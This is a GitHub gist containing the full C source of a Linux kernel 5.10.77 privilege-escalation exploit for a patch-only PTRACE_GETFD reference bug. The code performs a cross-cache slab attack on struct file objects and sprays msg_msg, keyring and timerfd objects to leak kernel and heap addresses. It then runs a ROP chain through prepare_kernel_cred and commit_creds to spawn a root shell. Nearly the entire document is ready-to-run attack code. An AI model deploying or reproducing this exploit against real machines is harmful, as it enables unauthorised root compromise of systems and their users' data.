Skip to content

Instantly share code, notes, and snippets.

@soez
Created July 2, 2023 21:23
Show Gist options
  • Select an option

  • Save soez/fe35c29b042f3ea666550195cf4b68df to your computer and use it in GitHub Desktop.

Select an option

Save soez/fe35c29b042f3ea666550195cf4b68df to your computer and use it in GitHub Desktop.

Revisions

  1. soez created this gist Jul 2, 2023.
    601 changes: 601 additions & 0 deletions exp.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,601 @@
    /*
    *
    * Author: @javierprtd
    * Date : 22-06-2023
    * Kernel: 5.10.77
    * Bug : https://lkml.org/lkml/2019/12/5/814
    * Review: This bug has never been in the official kernel
    * Post : https://soez.github.io/posts/no-cve-for-this.-It-has-never-been-in-the-official-kernel
    *
    */

    // gcc exp.c -no-pie

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/mman.h>
    #include <string.h>
    #include <pthread.h>
    #include <sys/wait.h>
    #include <sys/types.h>
    #include <stdbool.h>
    #include <sys/syscall.h>
    #include <sys/ptrace.h>
    #include <sys/msg.h>
    #include <sys/ipc.h>
    #include <sys/resource.h>
    #include <sys/prctl.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <linux/keyctl.h>
    #include <sys/timerfd.h>

    #define OBJECT_SIZE 256
    #define OBJS_PER_SLAB 16
    #define CPU_PARTIAL 64

    #define MTYPE_FIRST 0x41
    #define MTYPE_SECOND 0x42
    #define MSG_HEAD_SIZE 48
    #define NUM_MSQIDS 4096
    #define PAGE_SIZE 4096
    #define NUM_FILES 1024
    #define NUM_TIMERS 1024
    #define NUM_BYTES 20000
    #define NUM_KEYS 200

    #define BEGIN_OBJ PAGE_SIZE - MSG_HEAD_SIZE - sizeof(uint64_t)

    #define PTRACE_GETFD 0x420f

    #define STACK_SIZE (1024 * 1024)

    #define NULL_MEM 0xfffffe0000002000

    typedef int32_t key_serial_t;

    int pipefd[2];
    key_serial_t keys[NUM_KEYS];
    int fd_timer[NUM_TIMERS];
    int msqid[NUM_MSQIDS];
    int fd_init[NUM_FILES];
    uint32_t fd[(CPU_PARTIAL + 3) * OBJS_PER_SLAB];

    struct msg {
    uint64_t type;
    char text[BEGIN_OBJ + OBJECT_SIZE];
    };

    /*
    * Attach to a specific CPU.
    */
    bool pin_cpu(int cpu) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);

    if (sched_setaffinity(0, sizeof(set), &set) < 0) {
    perror("[-] sched_setafinnity(): ");
    return false;
    }

    return true;
    }

    static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
    }

    static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
    return syscall(__NR_add_key, type, description, payload, plen, ringid);
    }

    int write_msg(int msqid, void *msgp, size_t msgsz) {

    if (msgsnd(msqid, msgp, msgsz, IPC_NOWAIT | MSG_NOERROR) < 0) {
    perror("[-] msgsnd");
    exit(0);
    }

    return 0;
    }

    int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {

    if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR) < 0) {
    perror("[-] msgrcv");
    printf("errno: %d\n", errno);
    exit(0);
    }

    return 0;
    }

    int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {

    if (msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT | MSG_NOERROR) < 0) {
    perror("[-] msgrcv");
    exit(0);
    }

    return 0;
    }

    int traceme(void* arg) {
    pid_t pid = getpid();

    ptrace(PTRACE_TRACEME, pid, NULL, NULL);

    write(pipefd[1], &pid, 4);

    sleep(1);

    exit(0);
    }

    int get_fd(uint32_t fd_idx, uint32_t last) {
    pid_t tid;
    int status;
    void *stack = calloc(1, STACK_SIZE);

    /* Attach process */
    clone(traceme, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL);

    read(pipefd[0], &tid, 4);

    puts("[+] Put extra references of the fd vulnerable in file table");
    /* Insert 3 more extra references of the vulnerable fd */
    for (int j = 0; j < 3; j++) {
    int err = ptrace(PTRACE_GETFD, tid, NULL, fd[fd_idx]);

    if (err < 0) {
    perror("err: ");
    exit(0);
    }
    }

    wait(&status);

    /* Close fd vulnerable */
    close(fd[fd_idx]);

    /* Return first reference to the fd vulnerable */
    return fd[last] + 1;
    }

    void hexdump(uint64_t *buf, uint64_t size) {
    for (int i = 0; i < size / 8; i += 2) {
    printf("0x%x ", i * 8);
    printf("%016lx %016lx\n", buf[i], buf[i + 1]);
    }
    }

    uint64_t user_cs, user_ss, user_sp, user_rflags;

    void save_state() {
    __asm__(
    ".intel_syntax noprefix;"
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    );
    }

    void shell(void) {
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    if (!getuid()) {
    printf("[+] Got root shell :)\n");
    execve(shell, args, NULL);
    } else {
    printf("FAIL\n");
    }

    exit(0);
    }

    int main(int argc, char *argv[]) {

    puts("[+] No CVE for this");

    /* Open pipe */
    if (pipe(pipefd) < 0) {
    perror("[-] pipe");
    exit(0);
    }

    /* Get num of cpu */
    int ncpus = sysconf(_SC_NPROCESSORS_ONLN);

    /* The buffer for user_key_payload spray */
    char buffer[OBJECT_SIZE - 24];
    memset(buffer, 0, sizeof(buffer));
    *(uint64_t *) &buffer[40 - 24] = NULL_MEM; // fops
    *(uint64_t *) &buffer[56 - 24] = 1; // f_count
    *(uint32_t *) &buffer[68 - 24] = 0X4000; // mode

    /* Set num files to 65535 */
    struct rlimit limit;

    limit.rlim_cur = 65535;
    limit.rlim_max = 65535;

    if (setrlimit(RLIMIT_NOFILE, &limit) != 0) {
    perror("[-] setrlimit()");
    exit(0);
    }

    puts("[+] Open init files");
    /* Open init files to better cross cache */
    for (int i = 0; i < NUM_FILES; i++) {
    fd_init[i] = open("/etc/passwd", O_RDONLY);
    }

    sleep(1);

    puts("[+] Start msg_msg");
    /* Init msg_msg */
    for (int i = 0; i < NUM_MSQIDS; i++) {
    if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
    perror("[-] msgget");
    exit(0);
    }
    }

    sleep(1);

    int i = 0, offset = 0, fd_idx = 0, fd_last;

    /* Struct msg, for spraying with msgsnd */
    struct msg message_w, message_r;
    memset(&message_w, 0, sizeof(message_w));
    message_w.type = MTYPE_FIRST;
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 40] = NULL_MEM; // fops
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 2; // f_count
    *(uint32_t *) &message_w.text[BEGIN_OBJ + 68] = 0x4000; // mode

    puts("[+] Start cross cache attack");
    /* Start cross cache */
    for (i = 0; i < ((CPU_PARTIAL + 1) * OBJS_PER_SLAB); i++) {
    fd[i] = open("/etc/passwd", O_RDONLY);
    }

    offset += i;
    /* Going on with cross cache */
    for (i = 0; i < (OBJS_PER_SLAB - 1); i++) {
    fd[offset + i] = open("/etc/passwd", O_RDONLY);
    }

    offset += i;
    fd_idx = offset++;

    puts("[+] Getting fd vulnerable");
    /* Get fd vulnerable */
    fd[fd_idx] = open("/etc/passwd", O_RDONLY);

    puts("[+] Going on with cross cache");
    /* Going on with cross cache */
    for (i = 0; i < (OBJS_PER_SLAB + 1); i++) {
    fd[offset + i] = open("/etc/passwd", O_RDONLY);
    }

    offset += i;

    fd_last = --offset;

    /* Put extra references of the fd vulnerable in file table */
    /* And get first reference of the fd vunerlable */
    int fd_victim = get_fd(fd_idx, fd_last);

    printf("[+] First fd vulnerable: %d\n", fd_victim);

    /* For leaving one partial slab */
    open("/etc/passwd", O_RDONLY);

    puts("[+] Finishing cross cache");
    /* Emptying the page of the fd vulnerable */
    for (i = 1; i < (OBJS_PER_SLAB + 2); i++) {
    close(fd[fd_idx + i]);
    close(fd[fd_idx - i]);
    }
    /* Close 1 fd per full slab to cause overflow in the partial list */
    /* Then it will discard the whole slab (page) of the fd vulnerable */
    /* Because it is all the slab free */
    for (i = 0; i < (14 * OBJS_PER_SLAB); i++) {
    if (i % OBJS_PER_SLAB == 0) {
    close(fd[i]);
    }
    }

    puts("[+] msg_msg spray");
    /* msgsnd spray */
    for (i = 0; i < NUM_MSQIDS; i++) {
    pin_cpu(i % ncpus);
    if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) {
    perror("[-] write_msg");
    exit(0);
    }
    }

    sleep(1);

    puts("[+] Find object on msg_msg");

    /* Close 1 reference of fd_victim */
    /* But it will not free */
    /* The f_count = 2 */
    int ret = close(fd_victim);

    if (!ret) {

    char *buf = NULL;
    uint32_t uaf = 0, uaf_key = 0;
    for (i = 0; i < NUM_MSQIDS; i++) {
    pin_cpu(i % ncpus);
    /* Read de messages of first spray for finding the vulnerable object */
    memset(&message_r, 0, sizeof(message_r));
    if (peek_msg(msqid[i], &message_r, sizeof(message_r.text), 0) < 0) {
    perror("[-] peek_msg");
    exit(0);
    }

    buf = ((char *) &message_r) + PAGE_SIZE - MSG_HEAD_SIZE;
    /* Found message, deleted */
    if (buf[56] != 2) {
    uaf = i;
    printf("[+] Found object at %d\n", uaf);
    memset(&message_r, 0, sizeof(message_r));
    if (read_msg(msqid[uaf], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
    perror("[-] read_msg");
    exit(0);
    }
    break;
    }
    }

    if (uaf) {

    sleep(1);

    puts("[+] spray keyring");
    /* Spray user_key_payload struct */
    for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
    pin_cpu(i % ncpus);
    snprintf(buffer, OBJECT_SIZE - 24, "key-%d", i);
    keys[i] = add_key("user", buffer, buffer, OBJECT_SIZE - 24, KEY_SPEC_PROCESS_KEYRING);
    if (keys[i] < 0) {
    perror("[-] add_key");
    exit(0);
    }
    }

    /* Close 1 reference, it will be freed */
    close(fd_victim + 1);

    char buff[OBJECT_SIZE - 24];
    /* Finding vulnerable object */
    for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
    uint32_t keylen = keyctl(KEYCTL_READ, keys[i], (long) buff, 232, 0);
    if (keylen < 0) {
    perror("[-] keyctl");
    exit(0);
    }

    if (buff[32] != 1) {
    uaf_key = i;
    printf("[+] Found UAF key object at %d\n", uaf_key);
    break;
    }
    }

    if (uaf_key) {

    puts("[+] msg_msg spray");
    /* In this step, with this spray we are modifing the len of user_key_payload struct */
    message_w.type = MTYPE_FIRST;
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 16] = 1024; // size key
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 1; // f_count
    for (i = 0; i < NUM_MSQIDS; i++) {
    if (i != uaf) {
    pin_cpu(i % ncpus);
    if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) {
    perror("[-] write_msg");
    exit(0);
    }
    }
    }

    puts("[+] Making holes in msg_msg objects");
    /* Making holes close by the vulnerable object for timerfd_ctx struct */
    for (i = uaf - 48; i < (uaf + 48); i++) {
    if (i != uaf) {
    memset(&message_r, 0, sizeof(message_r));
    if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
    perror("[-] read_msg");
    exit(0);
    }
    }
    }

    // hexdump((uint64_t *) leak, 1024);

    puts("[+] Spray timerfd_ctx");
    /* Spray timerfd_ctx */
    /* For leaking kernel base and the heap object address */
    struct itimerspec its;

    its.it_interval.tv_sec = 0;
    its.it_interval.tv_nsec = 0;
    its.it_value.tv_sec = 10;
    its.it_value.tv_nsec = 0;

    for (int i = 0; i < NUM_TIMERS; i++) {
    pin_cpu(i % ncpus);
    fd_timer[i] = timerfd_create(CLOCK_REALTIME, 0);
    timerfd_settime(fd_timer[i], 0, &its, 0);
    }

    char leak[1024];
    /* Get leak */
    uint32_t keylen = keyctl(KEYCTL_READ, keys[uaf_key], (long) leak, 1024, 0);
    if (keylen < 0) {
    perror("[-] keyctl");
    exit(0);
    }

    uint64_t timerfd_tmrproc = *(uint64_t *) &leak[0x110];

    if ((int64_t) timerfd_tmrproc < 0) {
    uint64_t kernel_base = timerfd_tmrproc - 0x3db850;
    uint64_t chunk = *(uint64_t *) &leak[0x178] - 0x190;

    printf("[+] kernel base: 0x%lx\n", kernel_base);
    printf("[+] heap payload: 0x%lx\n", chunk);

    uint64_t rip = kernel_base + 0xbe00b5;
    uint64_t add_rsp = kernel_base + 0x1b1f1e;
    uint64_t pop_rdi = kernel_base + 0x5eb4b3;
    uint64_t prepare_kernel_cred = kernel_base + 0xf3c30;
    uint64_t commit_creds = kernel_base + 0xf39c0;
    uint64_t kpti_trampoline = kernel_base + 0xe00fb0 + 22;

    /* Save registers */
    save_state();

    /* The final buffer with ROP */
    memset(&message_w, 0, sizeof(message_w));
    message_w.type = MTYPE_SECOND;
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 8] = chunk + 0x400; // rbp
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 16] = add_rsp; // add rsp, 0x70
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 40] = chunk; // fops
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 1; // f_count
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 120] = rip; // rip
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 136] = 0; //
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 144] = 0; //
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 152] = chunk + 0x400; // rbp
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 160] = pop_rdi; // pop_rdi
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 168] = 0; // arg
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 176] = prepare_kernel_cred; // prepare_kernel_cred
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 184] = commit_creds; // commit_creds
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 192] = kpti_trampoline; //
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 200] = 0; // dummy rax
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 208] = 0; // dummy rdi
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 216] = (uint64_t) shell; // shell
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 224] = user_cs; // user_cs
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 232] = user_rflags; // user_rflags
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 240] = user_sp & 0xffffffffffffff00; // user_sp
    *(uint64_t *) &message_w.text[BEGIN_OBJ + 248] = user_ss; // user_ss

    puts("[+] Free object to leave space to the final payload");
    /* Free the vulnerable object for leave space to the final payload */
    keylen = keyctl(KEYCTL_REVOKE, keys[uaf_key], 0, 0, 0);
    if (keylen < 0) {
    perror("[-] keyctl");
    exit(0);
    }

    sleep(1);

    puts("[+] Last msg_msg spray");
    /* Spray the final payload with ROP */
    for (int i = 0; i < 64; i++) {
    if (i != uaf) {
    pin_cpu(i % ncpus);
    if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) {
    perror("[-] write_msg");
    exit(0);
    }
    }
    }

    puts("[+] Cleaning up");
    /* Cleaning up the timerfd_ctx */
    for (int i = 0; i < NUM_TIMERS; i++) {
    close(fd_timer[i]);
    }
    /* Cleaning up the user_key_payload struct */
    for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
    if (i != uaf_key) {
    uint32_t keylen = keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0);
    if (keylen < 0) {
    perror("[-] keyctl");
    exit(0);
    }
    }
    }
    /* Cleaning up the msg_msg buffers */
    for (i = 0; i < (uaf - 48); i++) {
    memset(&message_r, 0, sizeof(message_r));
    if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
    perror("[-] read_msg");
    exit(0);
    }
    }
    /* Cleaning up the msg_msg buffers */
    for (i = (uaf + 48); i < NUM_MSQIDS; i++) {
    memset(&message_r, 0, sizeof(message_r));
    if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
    perror("[-] read_msg");
    exit(0);
    }
    }
    /* Cleaning up the init files */
    for (int i = 0; i < NUM_FILES; i++) {
    close(fd_init[i]);
    }

    /* Cleaning up the fds from cross cache */
    for (int i = 0; i < ((CPU_PARTIAL + 1) * OBJS_PER_SLAB); i++) {
    if (i % OBJS_PER_SLAB != 0) {
    close(fd[i]);
    }
    }

    puts("[+] Triggering ROP");
    /* Trigger ROP */

    close(fd_victim + 2); // trigger control RIP

    } else {
    puts("[+] No leak found :(");
    }
    } else {
    /* Cleaning up user_key_payload struct */
    for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) {
    uint32_t keylen = keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0);
    if (keylen < 0) {
    perror("[-] keyctl");
    exit(0);
    }
    }

    puts("[+] No key found :(");
    }
    } else {
    /* Cleaning up msg_msg */
    for (i = 0; i < NUM_MSQIDS; i++) {
    pin_cpu(i % ncpus);
    memset(&message_r, 0, sizeof(message_r));
    if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) {
    perror("[-] peek_msg");
    exit(0);
    }
    }

    puts("[-] No msg_msg found :(");
    }
    } else {
    puts("[-] spray failed :(");
    }

    exit(0);
    }